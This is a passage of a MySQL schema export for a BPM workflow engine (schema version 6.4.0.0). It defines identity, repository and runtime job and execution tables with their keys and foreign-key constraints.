----------------------------\n-- Records of act_id_bytearray\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_id_group\n-- ----------------------------\nDROP TABLE IF EXISTS `act_id_group`;\nCREATE TABLE `act_id_group` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `NAME_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  PRIMARY KEY (`ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_id_group\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_id_info\n-- ----------------------------\nDROP TABLE IF EXISTS `act_id_info`;\nCREATE TABLE `act_id_info` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `USER_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `TYPE_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `KEY_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `VALUE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `PASSWORD_` longblob,\n  `PARENT_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  PRIMARY KEY (`ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_id_info\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_id_membership\n-- ----------------------------\nDROP TABLE IF EXISTS `act_id_membership`;\nCREATE TABLE `act_id_membership` (\n  `USER_ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `GROUP_ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  PRIMARY KEY (`USER_ID_`,`GROUP_ID_`),\n  KEY `ACT_FK_MEMB_GROUP` (`GROUP_ID_`),\n  CONSTRAINT `ACT_FK_MEMB_GROUP` FOREIGN KEY (`GROUP_ID_`) REFERENCES `act_id_group` (`ID_`),\n  CONSTRAINT `ACT_FK_MEMB_USER` FOREIGN KEY (`USER_ID_`) REFERENCES `act_id_user` (`id_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_id_membership\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_id_priv\n-- ----------------------------\nDROP TABLE IF EXISTS `act_id_priv`;\nCREATE TABLE `act_id_priv` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `NAME_` varchar(255) COLLATE utf8_bin NOT NULL,\n  PRIMARY KEY (`ID_`),\n  UNIQUE KEY `ACT_UNIQ_PRIV_NAME` (`NAME_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_id_priv\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_id_priv_mapping\n-- ----------------------------\nDROP TABLE IF EXISTS `act_id_priv_mapping`;\nCREATE TABLE `act_id_priv_mapping` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `PRIV_ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `USER_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `GROUP_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  PRIMARY KEY (`ID_`),\n  KEY `ACT_FK_PRIV_MAPPING` (`PRIV_ID_`),\n  KEY `ACT_IDX_PRIV_USER` (`USER_ID_`),\n  KEY `ACT_IDX_PRIV_GROUP` (`GROUP_ID_`),\n  CONSTRAINT `ACT_FK_PRIV_MAPPING` FOREIGN KEY (`PRIV_ID_`) REFERENCES `act_id_priv` (`ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_id_priv_mapping\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_id_property\n-- ----------------------------\nDROP TABLE IF EXISTS `act_id_property`;\nCREATE TABLE `act_id_property` (\n  `NAME_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `VALUE_` varchar(300) COLLATE utf8_bin DEFAULT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  PRIMARY KEY (`NAME_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_id_property\n-- ----------------------------\nINSERT INTO `act_id_property` VALUES ('schema.version', '6.4.0.0', '1');\n\n-- ----------------------------\n-- Table structure for act_id_token\n-- ----------------------------\nDROP TABLE IF EXISTS `act_id_token`;\nCREATE TABLE `act_id_token` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `TOKEN_VALUE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `TOKEN_DATE_` timestamp(3) NULL DEFAULT NULL,\n  `IP_ADDRESS_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `USER_AGENT_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `USER_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `TOKEN_DATA_` varchar(2000) COLLATE utf8_bin DEFAULT NULL,\n  PRIMARY KEY (`ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_id_token\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_id_user\n-- ----------------------------\nDROP TABLE IF EXISTS `act_id_user`;\nCREATE TABLE `act_id_user` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `FIRST_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `LAST_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `DISPLAY_NAME_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `EMAIL_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `PWD_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `PICTURE_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `TENANT_ID_` varchar(255) COLLATE utf8_bin DEFAULT '',\n  PRIMARY KEY (`ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_id_user\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_procdef_info\n-- ----------------------------\nDROP TABLE IF EXISTS `act_procdef_info`;\nCREATE TABLE `act_procdef_info` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `PROC_DEF_ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `INFO_JSON_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  PRIMARY KEY (`ID_`),\n  UNIQUE KEY `ACT_UNIQ_INFO_PROCDEF` (`PROC_DEF_ID_`),\n  KEY `ACT_IDX_INFO_PROCDEF` (`PROC_DEF_ID_`),\n  KEY `ACT_FK_INFO_JSON_BA` (`INFO_JSON_ID_`),\n  CONSTRAINT `ACT_FK_INFO_JSON_BA` FOREIGN KEY (`INFO_JSON_ID_`) REFERENCES `act_ge_bytearray` (`ID_`),\n  CONSTRAINT `ACT_FK_INFO_PROCDEF` FOREIGN KEY (`PROC_DEF_ID_`) REFERENCES `act_re_procdef` (`id_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_procdef_info\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_re_deployment\n-- ----------------------------\nDROP TABLE IF EXISTS `act_re_deployment`;\nCREATE TABLE `act_re_deployment` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `NAME_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `CATEGORY_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `KEY_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `TENANT_ID_` varchar(255) COLLATE utf8_bin DEFAULT '',\n  `DEPLOY_TIME_` timestamp(3) NULL DEFAULT NULL,\n  `DERIVED_FROM_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `DERIVED_FROM_ROOT_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PARENT_DEPLOYMENT_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `ENGINE_VERSION_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  PRIMARY KEY (`ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_re_deployment\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_re_model\n-- ----------------------------\nDROP TABLE IF EXISTS `act_re_model`;\nCREATE TABLE `act_re_model` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `NAME_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `KEY_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `CATEGORY_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `CREATE_TIME_` timestamp(3) NULL DEFAULT NULL,\n  `LAST_UPDATE_TIME_` timestamp(3) NULL DEFAULT NULL,\n  `VERSION_` int(11) DEFAULT NULL,\n  `META_INFO_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `DEPLOYMENT_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `EDITOR_SOURCE_VALUE_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `EDITOR_SOURCE_EXTRA_VALUE_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `TENANT_ID_` varchar(255) COLLATE utf8_bin DEFAULT '',\n  PRIMARY KEY (`ID_`),\n  KEY `ACT_FK_MODEL_SOURCE` (`EDITOR_SOURCE_VALUE_ID_`),\n  KEY `ACT_FK_MODEL_SOURCE_EXTRA` (`EDITOR_SOURCE_EXTRA_VALUE_ID_`),\n  KEY `ACT_FK_MODEL_DEPLOYMENT` (`DEPLOYMENT_ID_`),\n  CONSTRAINT `ACT_FK_MODEL_DEPLOYMENT` FOREIGN KEY (`DEPLOYMENT_ID_`) REFERENCES `act_re_deployment` (`ID_`),\n  CONSTRAINT `ACT_FK_MODEL_SOURCE` FOREIGN KEY (`EDITOR_SOURCE_VALUE_ID_`) REFERENCES `act_ge_bytearray` (`ID_`),\n  CONSTRAINT `ACT_FK_MODEL_SOURCE_EXTRA` FOREIGN KEY (`EDITOR_SOURCE_EXTRA_VALUE_ID_`) REFERENCES `act_ge_bytearray` (`ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_re_model\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_re_procdef\n-- ----------------------------\nDROP TABLE IF EXISTS `act_re_procdef`;\nCREATE TABLE `act_re_procdef` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `CATEGORY_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `NAME_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `KEY_` varchar(255) COLLATE utf8_bin NOT NULL,\n  `VERSION_` int(11) NOT NULL,\n  `DEPLOYMENT_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `RESOURCE_NAME_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `DGRM_RESOURCE_NAME_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `DESCRIPTION_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `HAS_START_FORM_KEY_` tinyint(4) DEFAULT NULL,\n  `HAS_GRAPHICAL_NOTATION_` tinyint(4) DEFAULT NULL,\n  `SUSPENSION_STATE_` int(11) DEFAULT NULL,\n  `TENANT_ID_` varchar(255) COLLATE utf8_bin DEFAULT '',\n  `ENGINE_VERSION_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `DERIVED_FROM_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `DERIVED_FROM_ROOT_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `DERIVED_VERSION_` int(11) NOT NULL DEFAULT '0',\n  PRIMARY KEY (`ID_`),\n  UNIQUE KEY `ACT_UNIQ_PROCDEF` (`KEY_`,`VERSION_`,`DERIVED_VERSION_`,`TENANT_ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_re_procdef\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_ru_deadletter_job\n-- ----------------------------\nDROP TABLE IF EXISTS `act_ru_deadletter_job`;\nCREATE TABLE `act_ru_deadletter_job` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `TYPE_` varchar(255) COLLATE utf8_bin NOT NULL,\n  `EXCLUSIVE_` tinyint(1) DEFAULT NULL,\n  `EXECUTION_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROCESS_INSTANCE_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROC_DEF_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SUB_SCOPE_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_DEFINITION_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `EXCEPTION_STACK_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `EXCEPTION_MSG_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `DUEDATE_` timestamp(3) NULL DEFAULT NULL,\n  `REPEAT_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `HANDLER_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `HANDLER_CFG_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `CUSTOM_VALUES_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `CREATE_TIME_` timestamp(3) NULL DEFAULT NULL,\n  `TENANT_ID_` varchar(255) COLLATE utf8_bin DEFAULT '',\n  PRIMARY KEY (`ID_`),\n  KEY `ACT_IDX_DEADLETTER_JOB_EXCEPTION_STACK_ID` (`EXCEPTION_STACK_ID_`),\n  KEY `ACT_IDX_DEADLETTER_JOB_CUSTOM_VALUES_ID` (`CUSTOM_VALUES_ID_`),\n  KEY `ACT_IDX_DJOB_SCOPE` (`SCOPE_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_DJOB_SUB_SCOPE` (`SUB_SCOPE_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_DJOB_SCOPE_DEF` (`SCOPE_DEFINITION_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_FK_DEADLETTER_JOB_EXECUTION` (`EXECUTION_ID_`),\n  KEY `ACT_FK_DEADLETTER_JOB_PROCESS_INSTANCE` (`PROCESS_INSTANCE_ID_`),\n  KEY `ACT_FK_DEADLETTER_JOB_PROC_DEF` (`PROC_DEF_ID_`),\n  CONSTRAINT `ACT_FK_DEADLETTER_JOB_CUSTOM_VALUES` FOREIGN KEY (`CUSTOM_VALUES_ID_`) REFERENCES `act_ge_bytearray` (`ID_`),\n  CONSTRAINT `ACT_FK_DEADLETTER_JOB_EXCEPTION` FOREIGN KEY (`EXCEPTION_STACK_ID_`) REFERENCES `act_ge_bytearray` (`ID_`),\n  CONSTRAINT `ACT_FK_DEADLETTER_JOB_EXECUTION` FOREIGN KEY (`EXECUTION_ID_`) REFERENCES `act_ru_execution` (`id_`),\n  CONSTRAINT `ACT_FK_DEADLETTER_JOB_PROCESS_INSTANCE` FOREIGN KEY (`PROCESS_INSTANCE_ID_`) REFERENCES `act_ru_execution` (`id_`),\n  CONSTRAINT `ACT_FK_DEADLETTER_JOB_PROC_DEF` FOREIGN KEY (`PROC_DEF_ID_`) REFERENCES `act_re_procdef` (`ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_ru_deadletter_job\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_ru_event_subscr\n-- ----------------------------\nDROP TABLE IF EXISTS `act_ru_event_subscr`;\nCREATE TABLE `act_ru_event_subscr` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `EVENT_TYPE_` varchar(255) COLLATE utf8_bin NOT NULL,\n  `EVENT_NAME_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `EXECUTION_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROC_INST_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `ACTIVITY_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `CONFIGURATION_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `CREATED_` timestamp(3) NOT NULL DEFAULT CURRENT_TIMESTAMP(3),\n  `PROC_DEF_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `TENANT_ID_` varchar(255) COLLATE utf8_bin DEFAULT '',\n  PRIMARY KEY (`ID_`),\n  KEY `ACT_IDX_EVENT_SUBSCR_CONFIG_` (`CONFIGURATION_`),\n  KEY `ACT_FK_EVENT_EXEC` (`EXECUTION_ID_`),\n  CONSTRAINT `ACT_FK_EVENT_EXEC` FOREIGN KEY (`EXECUTION_ID_`) REFERENCES `act_ru_execution` (`id_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_ru_event_subscr\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_ru_execution\n-- ----------------------------\nDROP TABLE IF EXISTS `act_ru_execution`;\nCREATE TABLE `act_ru_execution` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `PROC_INST_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `BUSINESS_KEY_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `PARENT_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROC_DEF_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `SUPER_EXEC_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `ROOT_PROC_INST_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `ACT_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `IS_ACTIVE_` tinyint(4) DEFAULT NULL,\n  `IS_CONCURRENT_` tinyint(4) DEFAULT NULL,\n  `IS_SCOPE_` tinyint(4) DEFAULT NULL,\n  `IS_EVENT_SCOPE_` tinyint(4) DEFAULT NULL,\n  `IS_MI_ROOT_` tinyint(4) DEFAULT NULL,\n  `SUSPENSION_STATE_` int(11) DEFAULT NULL,\n  `CACHED_ENT_STATE_` int(11) DEFAULT NULL,\n  `TENANT_ID_` varchar(255) COLLATE utf8_bin DEFAULT '',\n  `NAME_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `START_ACT_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `START_TIME_` datetime(3) DEFAULT NULL,\n  `START_USER_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `LOCK_TIME_` timestamp(3) NULL DEFAULT NULL,\n  `IS_COUNT_ENABLED_` tinyint(4) DEFAULT NULL,\n  `EVT_SUBSCR_COUNT_` int(11) DEFAULT NULL,\n  `TASK_COUNT_` int(11) DEFAULT NULL,\n  `JOB_COUNT_` int(11) DEFAULT NULL,\n  `TIMER_JOB_COUNT_` int(11) DEFAULT NULL,\n  `SUSP_JOB_COUNT_` int(11) DEFAULT NULL,\n  `DEADLETTER_JOB_COUNT_` int(11) DEFAULT NULL,\n  `VAR_COUNT_` int(11) DEFAULT NULL,\n  `ID_LINK_COUNT_` int(11) DEFAULT NULL,\n  `CALLBACK_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `CALLBACK_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  PRIMARY KEY (`ID_`),\n  KEY `ACT_IDX_EXEC_BUSKEY` (`BUSINESS_KEY_`),\n  KEY `ACT_IDC_EXEC_ROOT` (`ROOT_PROC_INST_ID_`),\n  KEY `ACT_FK_EXE_PROCINST` (`PROC_INST_ID_`),\n  KEY `ACT_FK_EXE_PARENT` (`PARENT_ID_`),\n  KEY `ACT_FK_EXE_SUPER` (`SUPER_EXEC_`),\n  KEY `ACT_FK_EXE_PROCDEF` (`PROC_DEF_ID_`),\n  CONSTRAINT `ACT_FK_EXE_PARENT` FOREIGN KEY (`PARENT_ID_`) REFERENCES `act_ru_execution` (`ID_`) ON DELETE CASCADE,\n  CONSTRAINT `ACT_FK_EXE_PROCDEF` FOREIGN KEY (`PROC_DEF_ID_`) REFERENCES `act_re_procdef` (`ID_`),\n  CONSTRAINT `ACT_FK_EXE_PROCINST` FOREIGN KEY (`PROC_INST_ID_`) REFERENCES `act_ru_execution` (`ID_`) ON DELETE CASCADE ON UPDATE CASCADE,\n  CONSTRAINT `ACT_FK_EXE_SUPER` FOREIGN KEY (`SUPER_EXEC_`) REFERENCES `act_ru_execution` (`ID_`) ON DELETE CASCADE\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_ru_execution\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_ru_history_job\n-- ----------------------------\nDROP TABLE IF EXISTS `act_ru_history_job`;\nCREATE TABLE `act_ru_history_job` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `LOCK_EXP_TIME_` timestamp(3) NULL DEFAULT NULL,\n  `LOCK_OWNER_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `RETRIES_` int(11) DEFAULT NULL,\n  `EXCEPTION_STACK_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `EXCEPTION_MSG_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `HANDLER_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `HANDLER_CFG_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `CUSTOM_VALUES_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `ADV_HANDLER_CFG_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `CREATE_TIME_` timestamp(3) NULL DEFAULT NULL,\n  `SCOPE_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `TENANT_ID_` varchar(255) COLLATE utf8_bin DEFAULT '',\n  PRIMARY KEY (`ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_ru_history_job\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_ru_identitylink\n-- ----------------------------\nDROP TABLE IF EXISTS `act_ru_identitylink`;\nCREATE TABLE `act_ru_identitylink` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `GROUP_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `USER_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `TASK_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROC_INST_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROC_DEF_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_DEFINITION_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  PRIMARY KEY (`ID_`),\n  KEY `ACT_IDX_IDENT_LNK_USER` (`USER_ID_`),\n  KEY `ACT_IDX_IDENT_LNK_GROUP` (`GROUP_ID_`),\n  KEY `ACT_IDX_IDENT_LNK_SCOPE` (`SCOPE_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_IDENT_LNK_SCOPE_DEF` (`SCOPE_DEFINITION_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_ATHRZ_PROCEDEF` (`PROC_DEF_ID_`),\n  KEY `ACT_FK_TSKASS_TASK` (`TASK_ID_`),\n  KEY `ACT_FK_IDL_PROCINST` (`PROC_INST_ID_`),\n  CONSTRAINT `ACT_FK_ATHRZ_PROCEDEF` FOREIGN KEY (`PROC_DEF_ID_`) REFERENCES `act_re_procdef` (`ID_`),\n  CONSTRAINT `ACT_FK_IDL_PROCINST` FOREIGN KEY (`PROC_INST_ID_`) REFERENCES `act_ru_execution` (`ID_`),\n  CONSTRAINT `ACT_FK_TSKASS_TASK` FOREIGN KEY (`TASK_ID_`) REFERENCES `act_ru_task` (`id_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_ru_identitylink\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_ru_job\n-- ----------------------------\nDROP TABLE IF EXISTS `act_ru_job`;\nCREATE TABLE `act_ru_job` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `TYPE_` varchar(255) COLLATE utf8_bin NOT NULL,\n  `LOCK_EXP_TIME_` timestamp(3) NULL DEFAULT NULL,\n  `LOCK_OWNER_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `EXCLUSIVE_` tinyint(1) DEFAULT NULL,\n  `EXECUTION_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROCESS_INSTANCE_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROC_DEF_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SUB_SCOPE_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_DEFINITION_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `RETRIES_` int(11) DEFAULT NULL,\n  `EXCEPTION_STACK_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `EXCEPTION_MSG_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `DUEDATE_` timestamp(3) NULL DEFAULT NULL,\n  `REPEAT_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `HANDLER_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `HANDLER_CFG_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `CUSTOM_VALUES_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `CREATE_TIME_` timestamp(3) NULL DEFAULT NULL,\n  `TENANT_ID_` varchar(255) COLLATE utf8_bin DEFAULT '',\n  PRIMARY KEY (`ID_`),\n  KEY `ACT_IDX_JOB_EXCEPTION_STACK_ID` (`EXCEPTION_STACK_ID_`),\n  KEY `ACT_IDX_JOB_CUSTOM_VALUES_ID` (`CUSTOM_VALUES_ID_`),\n  KEY `ACT_IDX_JOB_SCOPE` (`SCOPE_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_JOB_SUB_SCOPE` (`SUB_SCOPE_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_JOB_SCOPE_DEF` (`SCOPE_DEFINITION_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_FK_JOB_EXECUTION` (`EXECUTION_ID_`),\n  KEY `ACT_FK_JOB_PROCESS_INSTANCE` (`PROCESS_INSTANCE_ID_`),\n  KEY `ACT_FK_JOB_PROC_DEF` (`PROC_DEF_ID_`),\n  CONSTRAINT `ACT_FK_JOB_CUSTOM_VALUES` FOREIGN KEY (`CUSTOM_VALUES_ID_`) REFERENCES `act_ge_bytearray` (`ID_`),\n  CONSTRAINT `ACT_FK_JOB_EXCEPTION` FOREIGN KEY (`EXCEPTION_STACK_ID_`) REFERENCES `act_ge_bytearray` (`ID_`),\n  CONSTRAINT `ACT_FK_JOB_EXECUTION` FOREIGN KEY (`EXECUTION_ID_`) REFERENCES `act_ru_execution` (`ID_`),\n  CONSTRAINT `ACT_FK_JOB_PROCESS_INSTANCE` FOREIGN KEY (`PROCESS_INSTANCE_ID_`) REFERENCES `act_ru_execution` (`ID_`),\n  CONSTRAINT `ACT_FK_JOB_PROC_DEF` FOREIGN KEY (`PROC_DEF_ID_`) REFERENCES `act_re_procdef` (`ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_ru_job\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_ru_suspended_job\n-- ----------------------------\nDROP TABLE IF EXISTS `act_ru_suspended_job`;\nCREATE TABLE `act_ru_suspended_job` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT 